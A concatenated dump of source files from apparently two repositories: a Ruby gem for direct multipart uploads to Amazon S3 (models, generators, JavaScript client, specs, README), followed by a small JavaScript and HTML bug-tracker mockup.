ApplicationController < ActionController::Base # end # end class S3Multipart::ApplicationController < ApplicationController end <file_sep>module S3Multipart class Upload < ::ActiveRecord::Base extend S3Multipart::TransferHelpers include ActionView::Helpers::NumberHelper before_create :validate_file_type, :validate_file_size def self.create(params) response = initiate(params) super(key: response["key"], upload_id: response["upload_id"], name: response["name"], uploader: params["uploader"], size: params["content_size"], context: params["context"].to_s) end def execute_callback(stage, session) controller = deserialize(uploader) case stage when :begin controller.on_begin_callback.call(self, session) if controller.on_begin_callback when :complete controller.on_complete_callback.call(self, session) if controller.on_complete_callback end end private def validate_file_size size = self.size limits = deserialize(self.uploader).size_limits if limits.present? if limits.key?(:min) && limits[:min] > size raise FileSizeError, I18n.t("s3_multipart.errors.limits.min", min: number_to_human_size(limits[:min])) end if limits.key?(:max) && limits[:max] < size raise FileSizeError, I18n.t("s3_multipart.errors.limits.max", max: number_to_human_size(limits[:max])) end end end def validate_file_type ext = self.name.match(/\.([a-zA-Z0-9]+)$/)[1] types = deserialize(self.uploader).file_types unless types.blank? || types.include?(ext) raise FileTypeError, I18n.t("s3_multipart.errors.types", types: types.join(", ")) end end def deserialize(uploader) S3Multipart::Uploader.deserialize(uploader) end end end <file_sep>module S3Multipart class Http require 'net/http' attr_accessor :method, :path, :body, :headers, :response def initialize(method, path, options) @method = method @path = path @headers = options[:headers] @body = options[:body] end class << self def get(path, options={}) new(:get, path, options).perform end def post(path, options={}) new(:post, path, options).perform end def put(path, options={}) new(:put, path, options).perform end end def perform request = request_class.new(path) headers.each do |key, val| request[key.to_s.split("_").map(&:capitalize).join("-")] = val end request.body = body if body @response = http.request(request) end private def http Net::HTTP.new("#{Config.instance.bucket_name}.s3.amazonaws.com", 80) end def request_class Net::HTTP.const_get(method.to_s.capitalize) end end end <file_sep>// Upload part constructor function UploadPart(blob, key, upload) { var part, xhr; part = this; this.size = blob.size; this.blob = blob; this.num = key; this.upload = upload; this.xhr = xhr = upload.createXhrRequest(); xhr.onload = function() { upload.handler.onPartSuccess(upload, part); }; xhr.onerror = function() { upload.handler.onError(upload, part); }; xhr.upload.onprogress = _.throttle(function(e) { if (e.lengthComputable) { upload.inprogress[key] = e.loaded; } }, 1000); }; UploadPart.prototype.activate = function() { var upload_part = this; this.upload.signPartRequest(this.upload.id, this.upload.object_name, this.upload.upload_id, this, function(response) { upload_part.xhr.open('PUT', '//'+upload_part.upload.bucket+'.s3.amazonaws.com/'+upload_part.upload.object_name+'?partNumber='+upload_part.num+'&uploadId='+upload_part.upload.upload_id, true); upload_part.xhr.setRequestHeader('x-amz-date', response.date); upload_part.xhr.setRequestHeader('Authorization', response.authorization); upload_part.xhr.send(upload_part.blob); upload_part.status = "active"; }); }; UploadPart.prototype.pause = function() { this.xhr.abort(); this.status = "paused"; }; UploadPart.prototype.cancel = function() { this.xhr.abort(); this.status = "cancelled"; }; <file_sep>ActiveRecord::Schema.define do create_table("s3_multipart_uploads", :force => true) do |t| t.string "location" t.string "upload_id" t.string "key" t.string "name" t.string "uploader" t.integer "size" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end create_table "videos", :force => true do |t| t.string "name" t.integer "upload_id" t.integer "user_id" t.datetime "created_at" t.datetime "updated_at" end create_table "users", :force => true do |t| t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end end <file_sep>AWS_Config = YAML.load_file("config/aws.yml")[Rails.env] S3Multipart.configure do |config| config.bucket_name = AWS_Config['bucket'] config.s3_access_key = AWS_Config['access_key_id'] config.s3_secret_key = AWS_Config['secret_access_key'] config.revision = AWS_Config['revision'] end <file_sep>require 'rails/generators' module S3Multipart class InstallGenerator < Rails::Generators::Base desc "Generates all the necessary setup for integration with the S3 Multipart gem" source_root File.expand_path("../templates", __FILE__) def create_migrations copy_file "uploads_table_migration.rb", "db/migrate/#{migration_time}_create_s3_multipart_uploads.rb" end def create_configuration_files copy_file "aws.yml", "config/aws.yml" copy_file "configuration_initializer.rb", "config/initializers/s3_multipart.rb" route 'mount S3Multipart::Engine => "/s3_multipart"' end private def migration_time Time.now.strftime("%Y%m%d%H%M%S") end def model_constant model.split("_").map(&:capitalize).join() end end end <file_sep>module S3Multipart module Uploader module Validations attr_accessor :file_types, :size_limits def accept(types) self.file_types = types end def limit(sizes) self.size_limits = sizes end end end end <file_sep>module.exports = function(grunt) { grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.loadNpmTasks('grunt-jasmine-runner'); // Project configuration. grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), concat: { lib : { src : [ 'javascripts/header.js', 'javascripts/s3mp.js', 'javascripts/upload.js', 'javascripts/uploadpart.js', 'javascripts/footer.js' ], dest : 'vendor/assets/javascripts/s3_multipart/lib.js' } }, jasmine : { src : [ 'javascripts/libs/underscore.js', 'javascripts/s3mp.js', 'javascripts/upload.js', 'javascripts/uploadpart.js' ], helpers : 'spec/javascripts/helpers/*.js', specs : 'spec/javascripts/*.js' }, min: { myPlugin: { src: [ '<config:concat.lib.dest>' ], dest: 'vendor/assets/javascripts/s3_multipart/lib.min.js' } } }); grunt.registerTask('default', ['concat', 'min']); }; <file_sep>source 'https://rubygems.org' group :development do gem 'activerecord' gem 'actionpack' # action_controller, action_view gem 'sprockets' # assets gem 'sass-rails', '~> 3.2.3' gem 'coffee-rails', '~> 3.2.1' gem 'compass-rails' gem 'jquery-ui-rails' gemspec end <file_sep>require 'rails/generators' module S3Multipart class InstallNewMigrationsGenerator < Rails::Generators::Base desc "Generates the migrations necessary when updating the gem to the latest version" source_root File.expand_path("../templates", __FILE__) def create_latest_migrations copy_file "add_size_column_to_s3_multipart_uploads.rb", "db/migrate/#{migration_time}_add_size_to_s3_multipart_uploads.rb" copy_file "add_context_column_to_s3_multipart_uploads.rb", "db/migrate/#{migration_time}_add_context_to_s3_multipart_uploads.rb" end private def migration_time Time.now.strftime("%Y%m%d%H%M%S") end end end <file_sep>class ApplicationController < ActionController::Base # fake current_user method, returns instance of user model def current_user User.find(session[:user_id]) end end<file_sep>module S3Multipart module Uploader module Callbacks attr_accessor :on_begin_callback, :on_complete_callback def on_begin(&block) self.on_begin_callback = block end def on_complete(&block) self.on_complete_callback = block end end end end<file_sep>require 'spec_helper.rb' describe "An upload object" do before(:all) do class Upload include S3Multipart::TransferHelpers end @upload = Upload.new end it "should initiate an upload" do @upload.stub(:unique_name) {'name'} response = @upload.initiate( object_name: "example_object.wmv", content_type: "video/x-ms-wmv" ) response["upload_id"].should be_an_instance_of(String) response["key"].should be_an_instance_of(String) response["name"].should be_an_instance_of(String) end it "should sign many parts" do response = @upload.sign_batch( object_name: "example_object", content_lengths: "1000000-1000000-1000000", upload_id: "a83jrhfs94jcj3c3" ) response.should be_an_instance_of(Array) response.first[:authorization].should match(/AWS/) end it "should sign a single part" do response = @upload.sign_part( object_name: "example_object", content_length: "1000000", upload_id: "a83jrhfs94jcj3c3" ) response.should be_an_instance_of(Hash) response[:authorization].should match(/AWS/) end it "should unsuccessfully attempt to complete an upload that doesn't exist" do response = @upload.complete( object_name: "example_object", content_length: "1000000", parts: [{partNum: 1, ETag: "jf93nda3Sf8FSh"}], content_type: "application/xml", upload_id: "a83jrhfs94jcj3c3" ) response[:error].should eql("Upload does not exist") end end <file_sep>S3Multipart::Engine.routes.draw do resources :uploads, :only => [:create, :update] end<file_sep>module S3Multipart class Engine < Rails::Engine isolate_namespace S3Multipart end end <file_sep>describe("An upload", function() { var upload; beforeEach(function() { var s3mp, file; s3mp = new S3MP({ bucket: 's3mp-test-bucket' }); spyOn(s3mp.handler, 'beginUpload'); spyOn(s3mp, 'createXhrRequest').andCallThrough(); spyOn(s3mp, 'initiateMultipart').andCallFake(function(upload, callback) { callback({ id: 0, upload_id: "A1S2D3F4", key: "<KEY>" }); }); spyOn(s3mp, 'signPartRequests').andCallFake(function(id, object_name, upload_id, parts, callback) { callback([{authorization:"AWS authorization code 1", date:"Thu, 24 Jan 2013 20:36:25 EST"}, {authorization:"AWS authroization code 2", date:"Thu, 24 Jan 2013 20:36:25 EST"}]); }); spyOn(s3mp, 'sliceBlob').andCallFake(function(blob, start, end) { blob.size = end - start; return blob; }); file = { name: 'test.mkv', size: 15000000, type: 'video/mkv' }; upload = new Upload(file, s3mp, 0); }); it("has multiple parts", function() { expect(upload.parts[0].constructor).toBe(UploadPart); expect(upload.parts[1].constructor).toBe(UploadPart); }); describe("when initiated", function() { it("makes a call to initiateMultipart", function() { upload.init(); expect(upload.initiateMultipart).toHaveBeenCalled(); expect(upload.initiateMultipart.mostRecentCall.args[0]).toEqual(upload); expect(upload.initiateMultipart.mostRecentCall.args[1].constructor).toEqual(Function); }); it("signs all of the part requests", function() { upload.init(); expect(upload.signPartRequests).toHaveBeenCalled(); expect(upload.signPartRequests.mostRecentCall.args[0]).toEqual(0); expect(upload.signPartRequests.mostRecentCall.args[1]).toEqual("A1A2-B1B2-C1C2-D1D2"); expect(upload.signPartRequests.mostRecentCall.args[2]).toEqual("A1S2D3F4"); expect(upload.signPartRequests.mostRecentCall.args[3]).toEqual(upload.parts); expect(upload.signPartRequests.mostRecentCall.args[4].constructor).toEqual(Function); }); it("starts uploading parts in parallel", function() { upload.init(); expect(upload.handler.beginUpload.calls.length).toEqual(2); expect(upload.handler.beginUpload.mostRecentCall.args[0]).toEqual(2); expect(upload.handler.beginUpload.mostRecentCall.args[1]).toEqual(upload); }); }); }); <file_sep>require 'spec_helper.rb' require "digest/sha1" describe "The uploader module" do before(:all) do # Create a reference to the uploader @module = S3Multipart::Uploader # Extend the module to trigger the "extended" hook class VideoUploader extend S3Multipart::Uploader::Core end end it "should serialize a controller" do # the upload controller passed into serialize can either # be the class itself or a string represention controller = VideoUploader sha1_digest = Digest::SHA1.hexdigest(controller.to_s) @module.serialize(VideoUploader).should eql(sha1_digest) @module.serialize(VideoUploader.to_s).should eql(sha1_digest) end it "should deserialize a controller" do # will always return the class constant controller = VideoUploader sha1_digest = Digest::SHA1.hexdigest(controller.to_s) @module.deserialize(sha1_digest).should eql(controller) end end<file_sep>require 'spec_helper.rb' describe "An upload controller" do before(:all) do class GenericUploader extend S3Multipart::Uploader::Core end end it "should set up callbacks" do GenericUploader.class_eval do on_begin do |upload| "Upload has begun" end on_complete do |upload| "Upload has completed" end end GenericUploader.on_begin_callback.call.should eql("Upload has begun") GenericUploader.on_complete_callback.call.should eql("Upload has completed") end it "should attach a model to the uploader" do GenericUploader.attach :video S3Multipart::Upload.new.respond_to?(:video).should be_true end it "should store the allowed file types" do exts = %w(wmv avi mp4 mkv mov mpeg) GenericUploader.accept(exts) GenericUploader.file_types.should eql(exts) end end <file_sep>require 'rubygems' require 'bundler' Bundler.require :development require 'capybara/rspec' Combustion.initialize! require 'rspec/rails' require 'capybara/rails' # Engine config initializer require 'setup_credentials.rb' RSpec.configure do |config| #config.use_transactional_fixtures = true end<file_sep>class AddContextToS3MultipartUploads < ActiveRecord::Migration def change add_column :s3_multipart_uploads, :context, :text end end <file_sep>if defined?(Rails) module S3Multipart class Railtie < Rails::Railtie initializer "s3_multipart.action_view" do ActiveSupport.on_load :action_view do require 's3_multipart/action_view_helpers/form_helper' end end initializer "s3_multipart.active_record" do ActiveRecord::Base.include_root_in_json = false end # Load all of the upload controllers in app/uploaders/multipart initializer "s3_multipart.load_upload_controllers" do begin uploaders = Dir.entries(Rails.root.join('app', 'uploaders', 'multipart').to_s).keep_if {|n| n =~ /uploader\.rb$/} uploaders.each do |uploader| require "#{Rails.root.join('app', 'uploaders', 'multipart')}/#{uploader}" end rescue # Give some sort of error in the console end end end end end <file_sep>class Video < ActiveRecord::Base attr_accessible :name belongs_to :user end <file_sep>Rails.application.routes.draw do root to: 'pages#upload' mount S3Multipart::Engine => "/s3_multipart" end <file_sep>class AddUploaderTo<%= model_constant %> < ActiveRecord::Migration def change change_table :<%= model %> do |t| t.string :uploader end end end <file_sep># require 'spec_helper.rb' # require "digest/sha1" # # describe "Uploads controller" do # it "should create an upload" do # post '/s3_multipart/uploads', {object_name: "example_object.wmv", content_type: "video/x-ms-wmv", uploader: Digest::SHA1.hexdigest("VideoUploader")} # parsed_body = JSON.parse(response.body) # parsed_body.should_not eq({"error"=>"There was an error initiating the upload"}) # end # end <file_sep># S3 Multipart [![Gem Version](https://badge.fury.io/rb/s3_multipart.svg)](http://badge.fury.io/rb/s3_multipart) The S3 Multipart gem brings direct multipart uploading to S3 to Rails. Data is piped from the client straight to Amazon S3 and a server-side callback is run when the upload is complete. Multipart uploading allows files to be split into many chunks and uploaded in parallel or succession (or both). This can result in dramatically increased upload speeds for the client and allows for the pausing and resuming of uploads. For a more complete overview of multipart uploading as it applies to S3, see the documentation [here](http://docs.amazonwebservices.com/AmazonS3/latest/dev/mpuoverview.html). Read more about the philosophy behind the gem on the Bitcast [blog](http://blog.bitcast.io/post/43001057745/direct-multipart-uploads-to-s3-in-rails). ## What's New **0.0.10.6** - See pull request [23](https://github.com/maxgillett/s3_multipart/pull/23) for detailed changes. Changes will be documented in README soon. **0.0.10.5** - See pull request [16](https://github.com/maxgillett/s3_multipart/pull/16) and [18](https://github.com/maxgillett/s3_multipart/pull/18) for detailed changes. **0.0.10.4** - Fixed a race condition that led to incorrect upload progress feedback. **0.0.10.3** - Fixed a bug that prevented 5-10mb files from being uploaded correctly. **0.0.10.2** - Modifications made to the database table used by the gem are now handled by migrations. If you are upgrading versions, run `rails g s3_multipart:install_new_migrations` followed by `rake db:migrate`. Fresh installs do not require subsequent migrations. The current version must now also be passed in to the gem's configuration function to alert you of breaking changes. This is done by setting a revision yml variable. See the section regarding the aws.yml file in the readme section below (just before "Getting Started"). **0.0.9** - File type and size validations are now specified in the upload controller. Untested support for browsers that lack the FileBlob API ## Setup First, assuming that you already have an S3 bucket set up, you will need to paste the following into your CORS configuration file, located under the permissions tab in your S3 console. ```xml <?xml version="1.0" encoding="UTF-8"?> <CORSConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01/"> <CORSRule> <AllowedOrigin>*</AllowedOrigin> <AllowedMethod>PUT</AllowedMethod> <AllowedMethod>GET</AllowedMethod> <MaxAgeSeconds>3000</MaxAgeSeconds> <ExposeHeader>ETag</ExposeHeader> <AllowedHeader>Authorization</AllowedHeader> <AllowedHeader>Content-Type</AllowedHeader> <AllowedHeader>Content-Length</AllowedHeader> <AllowedHeader>x-amz-date</AllowedHeader> <AllowedHeader>origin</AllowedHeader> <AllowedHeader>Access-Control-Expose-Headers</AllowedHeader> </CORSRule> </CORSConfiguration> ``` Next, install the gem, and add it to your gemfile. ```bash gem install s3_multipart ``` Run the included generator to create the required migrations and configuration files. Make sure to migrate after performing this step. ```bash rails g s3_multipart:install ``` If you are using sprockets, add the following to your application.js file. Make sure that the latest underscore and jQuery libraries have been required before this line. Lodash is not supported at this time. ```js //= require s3_multipart/lib ``` Also in your application.js file you will need to include the following: ```javascript $(function() { $(".submit-button").click(function() { // The button class passed into multipart_uploader_form (see "Getting Started") new window.S3MP({ bucket: "YOUR_S3_BUCKET", fileInputElement: "#uploader", fileList: [], // An array of files to be uploaded (see "Getting Started") onStart: function(upload) { console.log("File %d has started uploading", upload.key) }, onComplete: function(upload) { console.log("File %d successfully uploaded", upload.key) }, onPause: function(key) { console.log("File %d has been paused", key) }, onCancel: function(key) { console.log("File upload %d was canceled", key) }, onError: function(err) { console.log("There was an error") }, onProgress: function(num, size, done, percent, speed) { console.log("File %d is %f percent done (%f of %f total) and uploading at %s", num, percent, done, size, speed); } }); }); }); ``` This piece of code does some configuration and provides various callbacks that you can hook into. It will be discussed further at the end of the Getting Started guide below. Finally, edit the aws.yml that was created in your config folder with the correct credentials for each environment. Set the revision number to the current version number. If breaking changes are made to the gem in a later version, then you will be notified when the two versions do not match in the log. ```yaml development: access_key_id: "" secret_access_key: "" bucket: "" revision: "#.#.#" ``` ## Getting Started S3_Multipart comes with a generator to set up your upload controllers. Running ```bash rails g s3_multipart:uploader video ``` creates a video upload controller (video_uploader.rb) which resides in "app/uploaders/multipart" and looks like this: ```ruby class VideoUploader < ApplicationController extend S3Multipart::Uploader::Core # Attaches the specified model to the uploader, creating a "has_one" # relationship between the internal upload model and the given model. attach :video # Only accept certain file types. Expects an array of valid extensions. accept %w(wmv avi mp4 mkv mov mpeg) # Define the minimum and maximum allowed file sizes (in bytes) limit min: 5*1000*1000, max: 2*1000*1000*1000 # Takes in a block that will be evaluated when the upload has been # successfully initiated. The block will be passed an instance of # the upload object as well as the session hash when the callback is made. # # The following attributes are available on the upload object: # - key: A randomly generated unique key to replace the file # name provided by the client # - upload_id: A hash generated by Amazon to identify the multipart upload # - name: The name of the file (including extensions) # - location: The location of the file on S3. Available only to the # upload object passed into the on_complete callback # on_begin do |upload, session| # Code to be evaluated when upload completes end # See above comment. Called when the upload has successfully completed on_complete do |upload, session| # Code to be evaluated when upload completes end end ``` The generator requires a model to be passed in (in this case, the video model) and automatically creates a "has one" relationship between the upload and the model (the video). For example, in the block that the `on_begin` method takes, a video object could be created (`video = Video.create(name: upload.name)`) and linked with the upload (`upload.video = video`). When the block passed into the `on_complete` is run at a later point in time, the associated video is now accessible by calling `upload.video`. If instead, you want to construct the video object on completion and link the two then, that is ok. The generator also creates the migration to add this functionality, so make sure to do a `rake db:migrate` after generating the controller. To add the multipart uploader to a view, insert the following: ```ruby <%= multipart_uploader_form(input_name: 'uploader', uploader: 'VideoUploader', button_class: 'submit-button', button_text: 'Upload selected videos', html: %Q{<button class="upload-button">Select videos</button>}) %> ``` The `multipart_uploader_form` function is a view helper, and generates the necessary input elements. It takes in a string of html to be interpolated between the generated file input element and submit button. It also expects an upload controller (as a string or constant) to be passed in with the 'uploader' option. This links the upload form with the callbacks specified in the given controller. The code above outputs this: ```html <input accept="video" data-uploader="7b2a340f42976e5520975b5d5668dc4c19b38f2c" id="uploader" multiple="multiple" name="uploader" type="file"> <button class="upload-button" type="submit">Select videos</button> <button class="submit-button"><span>Upload selected videos</span></button> ``` Let's return to the javascript that you inserted into the application.js during setup. The S3MP constructor takes in a configuration object with a handful of required callback functions. It also takes in list of files (through the `fileList` property) that is an array of File objects. This could be retrieved by calling `$("#uploader").get(0).files` if the input element had an "uploader" id, or it could be manually constructed. See the internal tests for an example of this manual construction. The S3MP constructor also returns an object that you can interact with. Although not demonstrated here, you can call cancel, pause, or resume on this object and pass in the zero-indexed key of the file in the fileList array you want to control. ## Tests First, create a file `setup_credentials.rb` in the spec folder. ```ruby # spec/setup_credentials.rb S3Multipart.configure do |config| config.bucket_name = '' config.s3_access_key = '' config.s3_secret_key = '' config.revision = S3Multipart::Version end ``` You can now run all of the RSpec and Capybara tests with `rspec spec` [Combustion](https://github.com/pat/combustion) is also used to simulate a rails application. Paste the following into a `config.ru` file in the base directory: ```ruby require 'rubygems' require 'bundler' Bundler.require :development Combustion.initialize! :active_record, :action_controller, :action_view, :sprockets S3Multipart.configure do |config| config.bucket_name = '' config.s3_access_key = '' config.s3_secret_key = '' config.revision = S3Multipart::Version end run Combustion::Application ``` and boot up the app by running `rackup`. A fully functional uploader is now available if you visit http://localhost:9292 Jasmine tests are also available for the client-facing javascript library. After installing [Grunt](http://gruntjs.com/) and [PhantomJS](http://phantomjs.org/), and running `npm install` once, you can run the tests headlessly by running `grunt jasmine`. To re-build the javascript library, run `grunt concat` and to minify, `grunt min`. ## Contributing S3_Multipart is very much a work in progress. If you squash a bug, make enhancements, or write more tests, please submit a pull request. ## Browser Compatibility The library is working on the latest version of IE, Firefox, Safari, and Chrome. Tests for over 100 browsers are currently being conducted. ## To Do * ~~If the FileBlob API is not supported on page load, the uploader should just send one giant chunk~~ (DONE) * Handle network errors in the javascript client library * ~~File type validations~~ (DONE) * ~~File size validations~~ (DONE) * More and better tests * More browser testing * Roll file signing and initiation into one request
780d4fe31ac720aa2f0d9f6041276ff555d98ba1
[ "JavaScript", "Ruby", "Markdown" ]
29
Ruby
contently/s3_multipart
a60db5b29035d9a0350d14d293617778bffff06e
bd9687e57629c081eb4bb1b3367d1d69ff7c11a6
refs/heads/master
<file_sep>{ "error": 0, "members": [ { "id": 1, "nicky": "moniu", "email": "<EMAIL>", "portrait": "../img/1.jpg", }, { "id": 2, "nicky": "pengy", "email": "<EMAIL>", "portrait": "../img/2.jpg", }, ], }<file_sep>/* ************************************************ * * * ************************************************ */ var baseUrl = "http://localhost:63342/studyweb/html"; var TeamListFilter = { creator: "", member: "", creatorId: -1, memberId: -1, success: 0, result: "", go: function () { var url = baseUrl + "/teamlist.html"; if (this.creator != "") { url = url + "?creator=" + this.creator; } else if (this.member != "") { url = url + "?member=" + this.member; } else if (this.creatorId != -1) { url = url + "?creatorid=" + this.creatorId; } else if (this.memberId != -1) { url = url + "?memberid=" + this.memberId; } var ret = $.ajax({url: url, async: false, cache: false}); if (ret.status == 200) { this.success = 1; this.result = ret.responseText; } else { this.success = 0; this.result = ""; } }, json: function () { return eval("(" + this.result + ")"); }, reset: function () { with (this) { creator = ""; member = ""; creatorId = -1; memberId = -1; success = 0; result = ""; } }, }; var TeamFilter = { name: "", id: -1, success: 0, result: "", go: function () { var url = baseUrl + "/team.html"; if (this.name != "") { url = url + "?name=" + this.name; } else if (this.id != -1) { url = url + "?id=" + this.id; } var ret = $.ajax({url: url, async: false, cache: false}); if (ret.status == 200) { this.success = 1; this.result = ret.responseText; } else { this.success = 0; this.result = ""; } }, json: function () { return eval("(" + this.result + ")"); }, reset: function () { with (this) { name = ""; id = -1; success = 0; result = ""; } }, }; /* ************************************************ * * * ************************************************ */ var MemberListFilter = { team_id: -1, success: 0, result: "", go: function () { var url = baseUrl + "/memberlist.html"; if (this.team_id != -1) { url = url + "?team_id=" + this.team_id; } var ret = $.ajax({url: url, async: false, cache: false}); if (ret.status == 200) { this.success = 1; this.result = ret.responseText; } else { this.success = 0; this.result = ""; } }, json: function () { return eval("(" + this.result + ")"); }, reset: function () { with (this) { team_id = -1; success = 0; result = ""; } }, }; /* ************************************************ * * * ************************************************ */ var UserFilter = { nicky: "", id: -1, success: 0, result: "", go: function () { var url = baseUrl + "/user-detail.html"; if (this.nicky != "") { url = url + "?nicky=" + this.nicky; } else if (this.id != -1) { url = url + "?id=" + this.id; } var ret = $.ajax({url: url, async: false, cache: false}); if (ret.status == 200) { this.success = 1; this.result = ret.responseText; } else { this.success = 0; this.result = ""; } }, json: function () { return eval("(" + this.result + ")"); }, reset: function () { with (this) { nicky = ""; id = -1; success = 0; result = ""; } }, }; /* ************************************************ * * * ************************************************ */ var BugListFilter = { team_id: -1, priority: "", handler: "", created_by: "", status: "", date_from: "", date_to: "", success: 0, result: "", go: function () { var url = baseUrl + "/buglist.html"; url = url + (this.team_id != -1 ? "?team_id=" + this.team_id : ""); url = url + (this.priority != "" ? "?priority=" + this.priority : ""); url = url + (this.handler != "" ? "?handler=" + this.handler : ""); url = url + (this.created_by != "" ? "?created_by=" + this.created_by : ""); url = url + (this.status != "" ? "?status=" + this.status : ""); url = url + (this.date_from != "" ? "?date_from=" + this.date_from : ""); url = url + (this.date_to != "" ? "?date_to=" + this.date_to : ""); var ret = $.ajax({url: url, async: false, cache: false}); if (ret.status == 200) { this.success = 1; this.result = ret.responseText; } else { this.success = 0; this.result = ""; } }, json: function () { return eval("(" + this.result + ")"); }, reset: function () { with (this) { team_id = -1; priority = ""; handler = ""; created_by = ""; status = ""; date_from = ""; date_to = ""; success = 0; result = ""; } }, }; /* ************************************************ * * * ************************************************ */ /* ************************************************ * * * ************************************************ */ /* ************************************************ * * * ************************************************ */ /* ************************************************ * * * ************************************************ */ /* ************************************************ * * * ************************************************ */ <file_sep>/* ************************************************ * dump objects attributes and functions in console ************************************************ */ function dumpObj(obj) { console.log("dump " + obj.toString()); console.log("=================================="); for(var attr in obj) { console.log(attr + "(" + typeof(obj[attr]) + ")=" + obj[attr]); } console.log("=================================="); } /* ************************************************ * dump objects attributes and functions in * current page (append it into body) ************************************************ */ function dumpObjInPage(obj) { var e = document.getElementById("dumpobj-div"); if(e == null) { e = document.createElement("div"); e.setAttribute("id", "dumpobj-div"); } var str = "dump " + obj.toString() + "<br>"; str += "======================================<br>"; for(var attr in obj) { str = str + attr + "(" + typeof(obj[attr]) + ")=" + obj[attr] + "<br>"; } str += "======================================<br>"; e.innerHTML=str; document.body.appendChild(e); } <file_sep><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>My Fixer</title> <link rel="stylesheet" href="../css/main.css" type="text/css"> <script type="text/javascript"> function showDialog() { document.getElementById("overlay").style.display = "block" document.getElementById("dialog").style.display = "block" } function hideDialog() { document.getElementById("dialog").style.display = "none" document.getElementById("overlay").style.display = "none" } </script> </head> <body> <div id="overlay" class="black_overlay" onclick="hideDialog()"></div> <div id="dialog" class="dialog"> <div class="title">Add New One</div> <form action="#" method="post" name="bugform"> <table cellpadding="0" cellspacing="0" class="borderless"> <tr> <td width="100px" class="borderless">Title</td> <td width="100%" class="borderless" colspan="5"> <input name="title" type="text" style="width: 100%"> </td> </tr> <tr> <td class="borderless">Detail</td> <td class="borderless" colspan="5"> <textarea name="detail" rows="10" style="width: 100%"></textarea> </td> </tr> <tr> <td class="borderless">Priority</td> <td class="borderless"> <select name="priority" style="width: 100%"> <option value="1">normal</option> <option value="2">high</option> <option value="3">suggestion</option> <option value="4">emergency</option> </select> </td> <td class="borderless right" width="80px">Team</td> <td class="borderless"> <input name="team" type="text" style="width: 100%"> </td> <td class="borderless right" width="140px">Assign To</td> <td class="borderless"> <input name="handler" type="text" style="width: 100%"> </td> </tr> <tr> <td colspan="6" class="borderless center"> <input type="button" value="CANCEL" onclick="hideDialog()"> <input type="submit" value="SUBMIT"> </td> </tr> </table> </form> </div> <div id="nav"> <h3>fixer</h3> <ul> <li><a href="all.html">Team Bugs</a></li> <li><a href="mine.html">My Bugs</a></li> <li><a href="fixer.html">Team Space</a></li> <li><a href="setting.html">Setting</a></li> <li><a href="login.html">Logout</a></li> </ul> <ul class="userinfo"> <li><img src="../img/1.jpg" /></li> <li><a href="javascript: void(0)">winner</a></li> </ul> </div> <div class="blank" onclick="hideOverlay()"></div> <div align="center" style="width: 100%"> <div style="width: 80%" align="right"> <a class="btn green" href="javascript:void(0)" onclick="showDialog()">NEW</a> <a class="btn green" href="#">EXPORT</a> </div> <div class="dashboard"> <div class="title">All Bugs Need To Be Fixed By ME :-(</div> <div class="row"> <p class="label">Bug #2 | FATAL | CREATED | FOX | 2015-12-12 12:12:12</p> <a href="detail.html"> Program will be crashed and there is no log there. Can not be solved. SE need to fix it tonight. can you fix it now? Can you fix it tonight or NOT? </a> </div> <div class="row"> <p class="label">Bug #2 | FATAL | CREATED | FOX | 2015-12-12 12:12:12</p> <a href="#"> Program will be crashed and there is no log there. Can not be solved. SE need to fix it tonight. </a> </div> <div class="row"> <p class="label">Bug #2 | FATAL | CREATED | FOX | 2015-12-12 12:12:12</p> <a href="#"> Program will be crashed and there is no log there. Can not be solved. SE need to fix it tonight. </a> </div> </div> </div> <div class="blank"></div> <div class="footer"> Copyright (C) wystan 2015 | About Us | Contact Us | Join Us</div> </body> </html><file_sep># studyweb show how to write web app # reference for more css shapes please refer to the website: https://css-tricks.com/examples/ShapesOfCSS/ <file_sep><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Details</title> <link href="../css/main.css" rel="stylesheet" type="text/css"> </head> <body> <div id="nav"> <h3>fixer</h3> <ul> <li><a href="all.html">Team Bugs</a></li> <li><a href="mine.html">My Bugs</a></li> <li><a href="fixer.html">Team Space</a></li> <li><a href="setting.html">Setting</a></li> <li><a href="login.html">Logout</a></li> </ul> <ul class="userinfo"> <li><img src="../img/1.jpg" /></li> <li><a href="javascript: void(0)">winner</a></li> </ul> </div> <div class="blank"></div> <div style="width: 100%;" align="center"> <form action="#" method="post"> <table cellspacing="0" cellpadding="0" width="80%" class=""> <tr class=""> <th colspan="8"> Basic Information </th> </tr> <tr class=""> <td class="item"> NO. </td> <td class=""> 1 </td> <td class="item"> STATUS </td> <td class=""> OPEN </td> <td class="item"> CREATED BY </td> <td class=""> wystan </td> <td class="item"> CURRENT HANDLER </td> <td class=""> wystan </td> </tr> <tr class="borderless"> <td class="item"> CREATED DATE </td> <td class="" colspan="3"> 2012-12-22 10:10:03 </td> <td class="item"> TEAM </td> <td class="" colspan="3"> FOX </td> </tr> <tr class="borderless"> <td class="item"> TITLE </td> <td class="" colspan="7"> Bug #2 </td> </tr> <tr class="borderless"> <td class="item"> DETAILS </td> <td class="" colspan="7" style="line-height: 24px"> Program crashed, it needs to be fixed tonight. <br> So the engineers releated to the bug need to be here. <br> And also the PM, SE.<br> No logs avaliable.<br> </td> </tr> <tr class="borderless"> <td class="item"> ATTACHMENT </td> <td class="" colspan="7"> <a href="../img/1.jpg" style="text-decoration: none">1.jpg </a> <a href="../img/1.jpg" style="text-decoration: none">2.jpg </a> <a href="../img/1.jpg" style="text-decoration: none">log.txt </a> </td> </tr> <tr class="borderless"> <td class="item"> NEXT STEP </td> <td class="" colspan="7"> <input type="radio" name="METHOD" checked="true"> FIX IT <input type="radio" name="METHOD"> ASIGN TO <input type="text"> </td> </tr> <tr class="borderless"> <td class="item"> ADD ATTACHMENT </td> <td class="" colspan="7"> <input type="file" multiple name="attachment"> </td> </tr> <tr class="borderless"> <td class="item"> OPINIONS </td> <td class="" colspan="7"> <textarea rows="8" style="width: 95%"></textarea> </td> </tr> <tr class="borderless"> <td class="borderless center" colspan="8"> <input type="submit" value="SUBMIT" style="width: 30%"> </td> </tr> <tr class="borderless"> <th colspan="8"> HISTORY: </th> </tr> <tr class="borderless"> <td class="" colspan="8"> wystan | 2015-12-21 13:15:12 <br> I raised this bug.<br><br> wystan | 2015-12-21 13:15:12 <br> Asign this bug to winner.<br><br> winner | 2015-12-21 13:15:12 